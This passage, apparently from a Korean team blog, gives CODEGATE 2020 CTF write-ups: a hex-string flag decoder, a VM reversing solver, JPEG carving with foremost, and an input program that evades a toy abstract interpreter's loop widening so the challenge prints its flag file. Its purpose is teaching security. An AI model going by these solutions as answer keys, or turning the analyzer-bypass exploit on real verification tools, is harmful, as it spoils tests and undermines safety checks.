x22\x75\x44\x31\x5E\x65\x6F\x49\x3D\x46\x70\x48\x61\x61\x21\x29\x72\x40\x22\x62\x5F\x65\x5F\x3B\x76\x3A\x63\x36\x4B\x46\x4B\x62\x2D\x40\x43\x22\x3B\x2A\x63\x45\x3D\x63\x32\x64\x64\x46\x7D\x3F\x4D\x33\x3A\x7B\x6F\x43\x3F\x51\x45\x6F\x65\x41\x37\x65\x64\x72\x25\x3C\x76\x33\x33\x75\x5D\x6D\x21\x25\x32\x42\x65\x7C\x6B\x25\x3D\x52\x7E\x21\x7D\x6F\x4D\x5C\x4A\x3F\x7E\x61\x6F\x37\x7E\x6E\x52\x26\x30\x37\x27\x5F\x75\x33\x46\x72\x40\x29\x5B\x3C\x28\x57\x35\x43\x6B\x4E\x63\x44\x76\x54\x64\x68\x76\x6F\x47\x7C\x26\x36\x69\x5A\x44\x69\x68\x33\x5A\x29\x66\x49\x72\x31\x77\x28\x44\x49\x7C\x4D\x5A\x33\x7C\x64\x49\x25\x57\x5A\x2A\x63\x7B\x7D\x3F\x50\x36\x76\x6F\x73\x2B\x2B\x21\x36\x2C\x7B\x62\x4B\x3D\x59\x70\x26\x3F\x33\x4D\x30\x50\x54\x57\x66\x4F\x3A\x46\x6A\x51\x6D\x60\x50\x49\x68\x66\x6A\x68\x4B\x79\x63\x21\x5F\x33\x76\x3F\x7A\x6B\x5B\x67\x26\x5C\x6A\x45\x37\x41\x64\x6B\x5E\x46\x58\x75\x44\x23\x57\x77\x65\x5A\x70\x79\x74\x7E\x53\x60\x6E\x2F\x26\x36\x64\x3A\x6B\x6E\x70\x6A\x62\x71\x4A\x6E\x41\x68\x40\x23\x79\x4C\x45\x37\x28\x2F\x44\x3A\x53\x79\x4F\x51\x40\x7E\x4C\x47\x47\x33\x75\x2B\x4B\x69\x46\x41\x7C\x5B\x4C\x60\x61\x6F\x47\x6B\x77\x4E\x3F\x55\x34\x6E\x33\x32\x7C\x35\x55\x5A\x4C\x50\x5B\x61\x2A\x59\x6C\x4F\x59\x2F\x3F\x2B\x4A\x3C\x4C\x7D\x65\x63\x75\x41\x56\x67\x21\x3D\x30\x3D\x76\x5B\x52\x4C\x27\x2B\x46\x3E\x23\x2E\x35\x51\x67\x59\x42\x24\x34\x48\x53\x65\x5B\x7D\x7D\x58\x76\x5F\x29\x2F\x2F\x76\x66\x34\x3D\x34\x2E\x75\x3D\x41\x47\x2F\x5A\x79\x6D\x5F\x79\x78\x70\x26\x54\x42\x78\x36\x54\x51\x30\x31\x29\x6F\x2D\x38\x36\x31\x3F\x32\x73\x21\x6D\x4C\x2C\x7A\x6B\x7D\x68\x53\x3D\x79\x75\x62\x36\x79\x22\x41\x2A\x4C\x60\x35\x2F\x40\x39\x27\x72\x7B\x7A\x6C\x3C\x5D\x26\x2E\x3F\x21\x2C\x58\x6D\x38\x47\x2E\x3F\x5B\x2D\x5F\x5D\x5F\x23\x21\x6C\x40\x29\x2B\x40\x38\x46\x32\x4B\x35\x75\x22\x61\x24\x4C\x63\x69\x32\x63\x55\x5F\x34\x2B\x27\x68\x52\x46\x4E\x3B\x72\x7B\x3E\x70\x51\x42\x2B\x2B\x63\x6C\x7D\x5A\x29\x69\x27\x31\x3C\x5C\x42\x75\x7E\x6E\x74\x38\x43\x5F\x61\x68\x41\x55\x5B\x78\x35\x6C\x6E\x3F\x3A\x75\x7B\x56\x4A\x41\x76\x56\x2E\x3F\x27\x52\x49\x4A\x74\x2A\x24\x38\x41\x75\x45\x71\x6B\x63\x66\x75\x43\x65\x4D\x78\x5D\x79\x59\x5E\x58\x6F\x4C\x42\x57\x51\x52\x5E\x63\x31\x6A\x69\x59\x2C\x6B\x46\x7E\x6F\x27\x30\x65\x63\x2C\x4D\x32\x2A\x3D\x44\x3F\x61\x67\x55\x2D\x2F\x7D\x42\x58\x51\x69\x70\x31\x5F\x6A\x3B\x7D\x2A\x59\x67\x22\x67\x3E\x4B\x60\x3A\x63\x7D\x44\x3A\x51\x59\x4E\x5A\x60\x68\x46\x72\x52\x79\x39\x31\x57\x60\x39\x71\x27\x60\x52\x64\x2B\x79\x6F\x23\x33\x54\x27\x2E\x2A\x70\x4C\x7A\x25\x79\x3D\x76\x56\x6C\x3E\x76\x74\x49\x3C\x49\x6B\x26\x7B\x28\x3F\x2C\x32\x2B\x69\x22\x64\x5F\x7E\x67\x29\x7A\x35\x66\x27\x4A\x66\x76\x3C\x2A\x2A\x34\x2B\x39\x53\x42\x4E\x41\x66\x47\x67\x2D\x3A\x31\x6D\x23\x3D\x62\x74\x7B\x2C\x28\x35\x6F\x27\x6E\x5F\x4C\x5A\x4C\x52\x2F\x5A\x74\x73\x5F\x49\x7E\x63\x33\x6E\x4A\x75\x6B\x70\x54\x5C\x6E\x49\x5B\x6D\x3E\x3B\x35\x4F\x2D\x36\x32\x66\x4B\x7C\x46\x3D\x6C\x7A\x49\x5D\x69\x23\x26\x57\x33\x28\x25\x6D\x48\x48\x42\x4A\x79\x26\x4D\x49\x4C\x4A\x67\x76\x39\x26\x6E\x6D\x79\x7B\x26\x78\x79\x5B\x39\x74\x51\x5B\x30\x6E\x4C\x57\x34\x51\x60\x74\x4D\x6F\x6A\x3F\x4F\x50\x55\x56\x72\x42\x71\x69\x2C\x61\x4B\x2E\x2A\x26\x35\x71\x63\x25\x4E\x69\x5A\x22\x39\x3F\x25\x47\x45\x33\x64\x5F\x50\x7A\x3F\x21\x2C\x33\x3C\x6C\x57\x5B\x48\x65\x2B\x68\x53\x36\x27\x7D\x65\x5F\x2B\x23\x3C\x7A\x2B\x43\x74\x34\x7A\x6C\x4D\x6F\x60\x71\x43\x2C\x72\x53\x2A\x36\x7E\x58\x39\x4E\x2B\x30\x7C\x7C\x79\x33\x79\x7C\x77\x61\x45\x4F\x4E\x44\x4B\x29\x35\x41\x4E\x31\x67\x60\x33\x4A\x2A\x34\x63\x45\x3C\x59\x74\x60\x4B\x62\x2D\x3E\x58\x51\x44\x32\x3A\x54\x62\x44\x66\x71\x59\x3F\x3A\x50\x4E\x5A\x3D\x65\x23\x5C\x55\x37\x4D\x5F\x43\x3B\x64\x48\x52\x2E\x21\x2D\x60\x4F\x68\x33\x57\x41\x6D\x27\x78\x67\x31\x48\x4C\x74\x44\x49\x6D\x70\x7A\x23\x5F\x23\x68\x46\x2F\x59\x7C\x32\x4F\x2D\x43\x41\x30\x22\x5A\x71\x5F\x54\x24\x24\x6A\x79\x66\x54\x55\x6B\x55\x6A\x74\x68\x22\x59\x43\x43\x3D\x55\x2E\x75\x65\x49\x38\x3C\x7D\x4F\x62\x28\x39\x3B\x6C\x6F\x3F\x49\x40\x5E\x4E\x6E\x3A\x3A\x48\x29\x56\x3A\x69\x3A\x3E\x3C\x4F\x46\x23\x47\x5A\x29\x36\x77\x49\x2B\x4E\x47\x28\x67\x59\x7C\x68\x7D\x41\x77\x37\x67\x2B\x68\x39\x5A\x6B\x51\x4D\x6E\x7D\x67\x4B\x26\x6B\x3F\x31\x2A\x68\x24\x56\x3D\x59\x64\x39\x5E\x4B\x23\x67\x67\x6D\x2F\x3E\x46\x6A\x2A\x63\x3F\x37\x4B\x75\x5F\x60\x56\x4F\x21\x39\x57\x72\x3E\x46\x77\x53\x6E\x38\x48\x35\x5A\x6C\x21\x3A\x46\x2C\x7D\x3C\x2C\x70\x73\x5D\x49\x28\x42\x4B\x40\x75\x7E\x42\x6A\x67\x4B\x40\x25\x6A\x43\x59\x6A\x73\x21\x6A\x45\x5B\x67\x21\x4B\x25\x77\x5F\x46\x4B\x32\x51\x72\x41\x2E\x7A\x30\x69\x54\x7B\x5B\x26\x41\x21\x45\x27\x5C\x39\x74\x52\x60\x3E\x60\x33\x59\x2F\x3B\x58\x64\x2A\x78\x70\x56\x22\x5B\x25\x6F\x2D\x22\x62\x44\x47\x54\x45\x52\x71\x68\x29\x7B\x26\x44\x70\x44\x49\x63\x4A\x54\x29\x65\x2B\x32\x34\x66\x4A\x72\x79\x7B\x4C\x7C\x5B\x36\x2B\x6B\x33\x4C\x33\x7D\x50\x36\x79\x48\x7C\x56\x4A\x48\x45\x5C\x47\x4F\x5E\x72\x36\x7D\x27\x57\x5E\x72\x76\x36\x6C\x26\x3E\x35\x2D\x26\x40\x5E\x44\x32\x74\x56\x4B\x6A\x4E\x58\x4B\x44\x34\x59\x6C\x50\x71\x41\x3C\x69\x3A\x28\x69\x39\x25\x4A\x42\x39\x63\x67\x2C\x7E\x4E\x59\x6D\x74\x31\x76\x22\x62\x78\x48\x55\x77\x6C\x24\x2D\x55\x59\x66\x68\x21\x41\x31\x77\x21\x5F\x5D\x44\x48\x45\x3A\x64\x4A\x56\x33\x47\x40\x5E\x4B\x63\x29\x51\x71\x57\x67\x2B\x79\x57\x30\x26\x26\x55\x4E\x44\x69\x78\x2C\x5E\x6D\x2E\x5A\x68\x59\x32\x5F\x2F\x29\x4D\x74\x5C\x27\x67\x2A\x52\x3F\x60\x70\x37\x5A\x3C\x5C\x4B\x7A\x46\x58\x50\x6D\x55\x7E\x78\x5A\x29\x6F\x48\x76\x2B\x67\x4D\x4E\x34\x64\x37\x2F\x41\x69\x4E\x4A\x30\x70\x2C\x61\x24\x61\x4F\x3D\x79\x22\x3A\x32\x56\x55\x68\x36\x75\x5E\x33\x42\x72\x26\x56\x2E\x3A\x49\x33\x62\x63\x3C\x55\x27\x63\x69\x41\x5B\x3C\x76\x7D\x31\x7B\x30\x78\x4E\x52\x50\x3A\x72\x7D\x5A\x53\x79\x67\x55\x2E\x72\x71\x45\x29\x6F\x63\x68\x6E\x57\x3E\x2E\x5C\x6D\x3E\x71\x62\x6F\x27\x54\x2D\x44\x43\x3C\x2E\x7D\x57\x68\x42\x3D\x50\x54\x59\x38\x22\x3D\x5B\x7D\x28\x41\x2E\x58\x36\x58\x5A\x56\x63\x24\x43\x49\x64\x59\x4C\x52\x3B\x57\x57\x21\x60\x6E\x52\x3A\x67\x47\x70\x3B\x49\x64\x58\x44\x24\x7E\x5B\x59\x5D\x4E\x4C\x79\x43\x43\x35\x3C\x59\x6B\x72\x61\x53\x37\x2C\x30\x49\x45\x31\x24\x62\x7A\x37\x2B\x4B\x3C\x40\x59\x6B\x3D\x63\x2D\x47\x4E\x3E\x45\x24\x4A\x49\x52\x2E\x6D\x2F\x63\x70\x65\x4E\x4C\x29\x5C\x23\x27\x6C\x4A\x57\x36\x59\x52\x2E\x50\x3F\x67\x79\x72\x61\x62\x41\x2C\x2C\x74\x52\x3F\x4D\x67\x49\x63\x43\x2E\x3C\x3B\x3E\x45\x7A\x5D\x5F\x4F\x64\x65\x6F\x74\x5D\x43\x23\x7B\x59\x61\x25\x71\x32\x75\x4A\x37\x63\x61\x2A\x4B\x6C\x64\x63\x43\x4D\x79\x39\x25\x43\x31\x4E\x31\x50\x72\x67\x52\x60\x64\x2E\x74\x6E\x2A\x36\x3B\x6B\x53\x79\x5C\x62\x3F\x54\x7C\x32\x7B\x74\x57\x64\x68\x43\x28\x2B\x4B\x4A\x48\x21\x38\x5F\x28\x22\x66\x5E\x29\x43\x5C\x6D\x75\x24\x4C\x38\x53\x44\x79\x5B\x4C\x46\x76\x4F\x56\x46\x26\x6A\x61\x42\x62\x4D\x33\x3F\x69\x44\x66\x66\x2F\x52\x3B\x65\x3A\x30\x46\x2F\x5C\x36\x47\x5A\x5C\x66\x6D\x5D\x32\x2E\x76\x21\x79\x37\x2F\x36\x21\x33\x47\x44\x4C\x59\x72\x74\x62\x43\x7E\x40\x43\x37\x23\x39\x6C\x64\x34\x58\x39\x6E\x51\x5B\x3B\x6E\x50\x69\x51\x71\x5E\x62\x31\x4A\x7B\x2C\x58\x50\x71\x5A\x3B\x4F\x5D\x40\x76\x5A\x41\x5F\x29\x42\x66\x36\x4C\x39\x3D\x4E\x4F\x33\x45\x64\x7B\x34\x21\x5E\x37\x63\x58\x39\x2D\x58\x24\x32\x38\x7E\x66\x58\x51\x71\x77\x34\x3C\x6A\x69\x25\x73\x5F\x34\x3B\x2F\x69\x37\x27\x46\x29\x40\x65\x7B\x74\x39\x35\x5A\x7D\x45\x5E\x57\x72\x50\x39\x54\x58\x2D\x60\x29\x41\x72\x23\x32\x73\x78\x21\x2B\x3D\x39\x32\x31\x47\x52\x51\x71\x4C\x26\x35\x4E\x7A\x29\x34\x62\x63\x74\x4C\x61\x5F\x76\x39\x62\x30\x70\x6E\x4A\x73\x58\x41\x4E\x71\x2F\x67\x55\x55\x2A\x6F\x6B\x3D\x70\x33\x6B\x2A\x24\x3C\x31\x34\x3F\x77\x59\x37\x37\x6C\x4C\x5F\x7D\x59\x41\x48\x2B\x2B\x46\x35\x4D\x3F\x57\x29\x78\x3C\x69\x5C\x40\x40\x4A\x32\x58\x32\x21\x4E\x2D\x32\x6C\x2F\x4B\x3B\x67\x29\x56\x5F\x4E\x51\x66\x2C\x37\x4A\x7A\x53\x3A\x75\x2F\x22\x4C\x64\x3C\x3D\x5C\x44\x5D\x4D\x63\x4B\x32\x3F\x40\x74\x6A\x2B\x5F\x35\x23\x3A\x5E\x7D\x5B\x33\x25\x5D\x5F\x6F\x25\x68\x21\x5F\x2A\x22\x42\x40\x55\x66\x76\x77\x60\x24\x6C\x6C\x77\x5D\x3D\x4A\x27\x41\x47\x5E\x72\x62\x6D\x3B\x61\x65\x7E\x67\x39\x34\x56\x5D\x30\x62\x6E\x28\x5D\x5F\x3E\x68\x78\x64\x64\x56\x6B\x77\x3C\x70\x58\x46\x33\x32\x65\x42\x6F\x7A\x30\x40\x2B\x42\x55\x46\x48\x6B\x4B\x51\x3C\x72\x78\x21\x5F\x21\x6A\x6E\x47\x51\x73\x26\x3B\x4A\x64\x21\x2D\x42\x50\x46\x4C\x5F\x37\x39\x4C\x2B\x4A\x79\x5B\x2F\x21\x61\x78\x4E\x56\x32\x55\x2D\x61\x47\x5C\x6A\x4A\x6B\x2D\x6A\x32\x4C\x3C\x76\x2E\x6F\x3A\x43\x6D\x27\x7D\x76\x44\x26\x56\x24\x77\x3D\x5D\x22\x5D\x40\x51\x41\x39\x70\x7C\x4D\x41\x36\x28\x33\x4B\x5A\x5E\x25\x75\x2C\x72\x5D\x6E\x3E\x44\x76\x42\x56\x3D\x7E\x2F\x30\x38\x23\x54\x6B\x5B\x5E\x66\x42\x6E\x45\x24\x31\x6E\x6C\x48\x43\x28\x24\x47\x6D\x26\x21\x6C\x47\x4D\x5E\x44\x44\x58\x25\x4D\x39\x75\x67\x3C\x2D\x56\x35\x35\x32\x3C\x35\x73\x6C\x34\x7B\x73\x5A\x40\x61\x5A\x59\x6E\x5C\x36\x72\x24\x70\x29\x33\x72\x6D\x75\x4F\x47\x68\x30\x4C\x5C\x6D\x22\x59\x21\x61\x5A\x56\x7D\x63\x42\x59\x35\x56\x22\x3F\x6C\x42\x2A\x72\x25\x32\x71\x58\x6C\x58\x33\x35\x4B\x7D\x38\x5C\x3B\x36\x34\x52\x3E\x67\x24\x4E\x4D\x5F\x6F\x65\x77\x71\x49\x5D\x57\x6C\x43\x42\x7B\x77\x6C\x66\x68\x49\x46\x63\x44\x50\x33\x79\x64\x24\x67\x44\x6F\x28\x49\x2A\x34\x5D\x7B\x6A\x72\x4A\x31\x52\x3E\x39\x39\x33\x3B\x23\x51\x5F\x52\x74\x28\x7E\x60\x4C\x47\x7C\x28\x28\x2A\x57\x7D\x22\x2E\x50\x7D\x59\x33\x7C\x35\x2A\x76\x2D\x3B\x50\x22\x76\x66\x7A\x2D\x66\x5E\x65\x7C\x58\x34\x67\x7D\x6A\x2E\x43\x67\x79\x3A\x50\x74\x65\x35\x38\x57\x71\x31\x38\x75\x7B\x36\x6A\x42\x4A\x45\x40\x6B\x5B\x74\x63\x36\x49\x7B\x2E\x47\x41\x57\x6A\x6D\x43\x34\x2A\x3A\x6C\x2A\x3F\x36\x7E\x75\x2E\x69\x69\x32\x67\x27\x33\x67\x49\x59\x2B\x4B\x45\x45\x5A\x77\x4E\x33\x48\x53\x3F\x63\x27\x47\x3E\x77\x24\x3E\x55\x42\x78\x23\x68\x36\x2B\x2F\x7B\x22\x78\x79\x2D\x6A\x37\x72\x37\x2B\x45\x3E\x37\x4D\x5C\x4B\x61\x2C\x5B\x70\x77\x5C\x52\x2D\x3F\x2D\x46\x54\x39\x4D\x33\x78\x47\x6D\x27\x25\x7E\x7D\x76\x60\x63\x54\x65\x7B\x70\x47\x7C\x51\x52\x3F\x72\x21\x51\x3E\x2F\x70\x70\x39\x5E\x7B\x79\x32\x6F\x7B\x76\x72\x2B\x65\x65\x37\x64\x34\x3D\x52\x5E\x23\x41\x6F\x72\x74\x3C\x7C\x5F\x4C\x6A\x76\x39\x5C\x75\x42\x3E\x35\x59\x2C\x39\x67\x78\x49\x79\x47\x37\x3E\x79\x61\x4D\x2E\x28\x49\x4E\x34\x71\x5A\x5B\x33\x45\x2C\x2B\x69\x33\x32\x2A\x5C\x5A\x6B\x65\x54\x26\x7D\x63\x31\x4E\x33\x7E\x6B\x67\x5F\x3D\x67\x4D\x54\x5E\x45\x45\x75\x49\x28\x4B\x33\x34\x7A\x72\x5D\x72\x49\x48\x27\x75\x7C\x6B\x4A\x60\x25\x62\x6D\x29\x30\x6C\x3F\x34\x49\x2B\x45\x2D\x58\x54\x35\x42\x41\x7D\x31\x4A\x64\x67\x6D\x5A\x34\x46\x4E\x39\x3C\x59\x34\x35\x2C\x3E\x7E\x5F\x32\x37\x68\x7B\x29\x57\x44\x5E\x24\x72\x50\x44\x37\x68\x7E\x45\x56\x60\x4A\x38\x77\x53\x43\x50\x4A\x37\x62\x22\x45\x4B\x7C\x57\x7A\x63\x44\x4D\x55\x2F\x50\x44\x65\x6C\x78\x49\x34\x61\x5E\x65\x34\x25\x3C\x3A\x43\x63\x40\x7D\x24\x7C\x75\x59\x7A\x33\x4C\x59\x47\x65\x78\x3B\x30\x25\x66\x33\x32\x58\x48\x7C\x7C\x3E\x32\x70\x26\x66\x35\x24\x30\x2C\x44\x76\x72\x28\x54\x64\x3D\x5E\x42\x51\x36\x76\x40\x54\x50\x51\x3F\x46\x55\x44\x53\x5F\x4D\x4B\x26\x78\x78\x5A\x2B\x34\x31\x63\x3B\x41\x56\x62\x32\x58\x54\x26\x32\x28\x57\x49\x31\x5B\x46\x71\x40\x42\x55\x7C\x33\x40\x2D\x3D\x3D\x49\x73\x2B\x5D\x32\x2A\x5C\x2A\x5E\x71\x62\x53\x26\x26\x53\x2B\x56\x74\x6A\x5E\x4B\x68\x62\x2A\x67\x5C\x3B\x31\x2F\x5E\x4E\x6D\x57\x6E\x6E\x73\x53\x56\x35\x3A\x22\x5A\x6F\x44\x39\x2D\x23\x21\x42\x74\x4B\x3C\x74\x61\x38\x24"

#print(hex(a.index("\x6e\x2f\x26")))

for k in range(0, len(a), 0x200):
    flag = ""
    cx = 2
    bx = 0x1000
    for i in range(0x23):
        ax = (0x00 << 8) | (cx & 0xff)
        ax = ax - 2
        ax = ax * 0x0d
        ax = ax + 1

        flag += chr(ord(a[(k + i * 0x200 + ax) % len(a)]) & 0xfffffff)
        cx += 1
    print(flag)

위의 코드를 실행해주게 되면, printable 한 문자열이 나오게 되는데 문장으로 될만한 내용이 플래그였습니다.

CODEGATE2020{8_bits_per_byte_1_byte_per_sector}


SimpleMachine (333pt)


Description

Analysis

Untitled%2022.png

sub_17C0(vm_handler)를 보면 간단한 연산과 비교하는 루틴이 있어서 코드 흐름을 보기 위해 a1→unsigned30 opcode 0 ~ 4번에 bp를 걸고 동적디버깅하였다.

과정을 보면 처음 'CO' 'DE' 'GA' 'TE' '20' '20' 문자열과 같은지 각각 2바이트씩 비교하고 다음 단계에선 특정 table과 연산한 결과를 비교한다. 이를 역연산하는 코드를 작성하면 플래그를 획득할 수 있다.

table = [0xF974, 0x2B9D, 0x4CAF, 0xBEE1, 0xFC0D, 0x6E48, 
            0xE03C, 0xD322, 0x1979, 0x36D6, 0x40E8, 0xCBF7, 0xDEAD]

key = 0xDEAD
result = ""
for t in table:
    key = ((key * 2) & 0xFFFF) ^ key
    m = (0x10000 - t) ^ key
    result += chr(m & 0xFF) + chr(m >> 8)

print("CODEGATE2020" + result)

CODEGATE2020{ezpz_but_1t_1s_pr3t3xt}


LOL (27pt)


Description

Analysis

Legend.gif is actually JPEG File, so use foremost.

⚡ root@kkamikoon  ~/.../output/jpg  ls
00000000.jpg  00000358.jpg  00000789.jpg  00001181.jpg  00001509.jpg
00000178.jpg  00000573.jpg  00000993.jpg  00001344.jpg

Untitled%2023.png

CODEGATE2020{J!n*_L00s3_C@^^0^}


verifier (702pt)


Description

Analysis

python 컴파일러 문제.

> a=1; !a
1

연산중 결과 범위를 domain이라는 자료에 저장하여 그 값이 얼마나 나올지 체크함. 이 결과를 우회하여 변수를 출력을 하면 플래그 획득 가능

class Print(Comm):
    def __init__(self, expr):
        self.expr = expr

    def a_interp(self, env):
        print("a_interp")
        print(env)
        a_val = self.expr.a_interp(env)
        if a_val.infimum < 0:
            raise ValueError("print domain error")
        return env

    def interp(self, env):
        print("interp")
        print(env)
        value = self.expr.interp(env)

        if value < 0:
            with open('./flag') as f:
                print(f.read())
        print(value)
        return env

취약점은 while 문에서 값의 inf를 체크하는 부분

def a_interp(self, env):
        init_env = deepcopy(env)

        for i in range(3):
            tenv, _ = self.cond.a_interp(env)
            if tenv is not None:
                tenv = self.comm.a_interp(tenv)
            env = env_join(env, tenv)

        tenv, _ = self.cond.a_interp(env)
        if tenv is not None:
            tenv = self.comm.a_interp(tenv)
        env = env_widen(env, tenv)
        tenv, _ = self.cond.a_interp(env)
        if tenv is not None:
            tenv = self.comm.a_interp(tenv)
        env = env_join(init_env, tenv)
        a, fenv = self.cond.a_interp(env)

        if fenv is None:
            raise RuntimeError("loop analysis error")

        return fenv

inf 체크를 3번 돌리고 값이 변하는 지 판단하여 변한다면 inf로 체크한다. 3번 돌고 env_widen으로 나머지 돌며 값을 세팅하는데 이 안에서 값을 다른 변수에서 받게 되면 원래의 범위를 벗어날 수 있다.

a=3;
b=1; c=-1; d=1;
[b != 10 {
    t=1;
    b > 5 ? {
        a = t-c;
        c = c+t
    }:{.};
    b = b + d}];
!a

CODEGATE2020{4bstr4ct_1nt3rpr3tat10n_f0r_54f3_3v41uat10n}

Written by Team. NOAR

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.